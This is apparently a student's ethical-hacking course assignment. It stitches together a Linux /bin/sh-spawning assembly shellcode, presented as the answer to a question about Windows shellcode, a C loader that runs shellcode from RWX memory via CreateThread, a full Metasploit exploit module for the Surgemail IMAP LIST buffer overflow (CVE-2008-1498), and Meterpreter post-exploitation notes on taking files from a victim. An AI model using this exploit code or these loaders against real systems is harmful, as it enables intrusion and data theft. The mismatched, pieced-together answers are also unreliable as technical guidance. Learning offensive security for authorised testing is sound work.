**Ethical Hacking & Cyber Security - हिंदी Essentials**

**DAY 3 ASSIGNMENT**

Question

1. Create a shellcode to exploit windows OS
2. Execute the shellcode on Windows
3. Get a Meterpreter.
4. Upload and Download few files from the exploited system

**ANS 1 .**

Create a shellcode to exploit windows OS

In computer security, shellcoding in its most literal sense, means writing code that will return a remote shell when executed. The meaning of shellcode has evolved, it now represents any byte code that will be inserted into an exploit to accomplish a desired task.

Linux, unlike windows, provides a direct way to interface with the kernel through the int 0x80 interface. A complete listing of the Linux syscall table can be found [here](http://world.std.com/~slanning/asm/syscall_list.html). Windows on the other hand, does not have a direct kernel.

#a very simple assembly (AT&T/Linux) program for spawning a shell

.section .data

.section .text

.globl \_start

\_start:

         xor %eax, %eax

         mov $70, %al          #setreuid is syscall 70

         xor %ebx, %ebx

         xor %ecx, %ecx

        int $0x80

         jmp ender

         starter:

        popl %ebx             #get the address of the string

         xor  %eax, %eax

         mov  %al, 0x07(%ebx)  #put a NULL where the N is in the string

         movl %ebx, 0x08(%ebx) #put the address of the string

                                #to where the AAAA is

         movl %ebx, 0x0c(%ebx) #put 4 null bytes into where the BBBB is

         mov $11, %al          #execve is syscall 11

         lea 0x08(%ebx), %ecx  #load the address of where the AAAA was

         lea 0x0c(%ebx), %edx  #load the address of the NULLS

         int $0x80             #call the kernel

ender:

         call starter

         .string "/bin/shNAAAABBBB"

**ANS 2 .**

Execute the shellcode on Windows

#include <windows.h>

int main()

{

char shellcode[] = "\xcc\xcc\xcc\xcc\x41\x41\x41\x41";

// Alloc memory

LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode), 0x3000, 0x40);

// Copy shellcode

RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));

// Create thread pointing to shellcode address

CreateThread(NULL, 0, (LPTHREAD\_START\_ROUTINE)addressPointer, NULL, 0, 0);

// Sleep for a second to wait for the thread

Sleep(1000);

return 0;

}

After defining the basics, let’s have a look on what is needed to execute shellcode within your process memory space. he text book method to complete these three steps is to use WinAPI calls to dynamically allocate readable, writeable and executable (RWX) memory and start a thread pointing to the freshly allocated memory region. Coding this in C would look like this As it will be shown in the following screenshots, when compiling and executing the above code, the shellcode will be executed from the heap, which is by default protected by the system wide Data Execution Prevention (DEP) policy that has been introduced in Windows XP.

**ANS 3 .**

Get a Meterpreter.

class Metasploit3 > Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})

super(update\_info(info,

'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',

'Description' => %q{

This module exploits a stack overflow in the Surgemail IMAP Server

version 3.8k4-4 by sending an overly long LIST command. Valid IMAP

account credentials are required.

},

'Author' => [ 'ryujin' ],

'License' => MSF\_LICENSE,

'Version' => '$Revision: 1 $',

'References' =>

[

[ 'BID', '28260' ],

[ 'CVE', '2008-1498' ],

[ 'URL', 'http://www.milw0rm.com/exploits/5259' ],

],

'Privileged' => false,

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload' =>

{

'Space' => 10351,

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'DisableNops' => true,

'BadChars' => "\x00"

},

'Platform' => 'win',

'Targets' =>

[

[ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ], # p/p/r 0x0078517e

],

'DisclosureDate' => 'March 13 2008',

'DefaultTarget' => 0))

end

def check

connect

disconnect

if (banner and banner =~ /(Version 3.8k4-4)/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

def exploit

connected = connect\_login

nopes = "\x90"\*(payload\_space-payload.encoded.length) # to be fixed with make\_nops()

sjump = "\xEB\xF9\x90\x90" # Jmp Back

njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)

evil = nopes + payload.encoded + njump + sjump + [target.ret].pack("A3")

print\_status("Sending payload")

sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"

sock.put(sploit)

handler

disconnect

end



* We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, we’ll pad the payload on our own.
* We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol.
* We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable.

**ANS 4 .**

Upload and Download few files from the exploited system

Post-exploitation: Downloading files from a victim with Metasploit Meterpreter scripts

Imagine you have compromised a target system as part of a Penetration test. Additionally, as part of the pen-test you need to download some files, both as proof of the compromise, and also to use the collected data from this system to assist in further exploitation of other systems.  
  
Here I discuss options for how files can be downloaded using the Metasploit Meterpreter console, and using Meterpreter scripts to speed up the process.  
  
I must emphasize that these techniques should only be used for legitimate purposes, either on a test network, or for penetration testing where you have written permission from the data owner.  
  
You are heir to your actions, make sure that everything you do is ethical, and use these techniques for good purposes.  
  
We will skip the exploitation phase in these examples, to focus on the post-exploitation and data collection aspects.  
  
So, we have exploited a system, and find ourselves at friendly Meterpreter console prompt.

The Meterpreter shell has a lot of neat features, including encryption of all the traffic between our attacking system and target. This prevents any interception and scanning of the data from intrusion detection systems (IDS).

From the Meterpreter console it is possible to download individual files using the "download" command. Which is pretty straightforward and easy if you only want to download one file.

Meterpreter has a lot of useful inbuilt scripts to make post exploitation tasks such as data collection easier. To view the options, simply type "run" and then space-tab-tab to see the auto-completion options: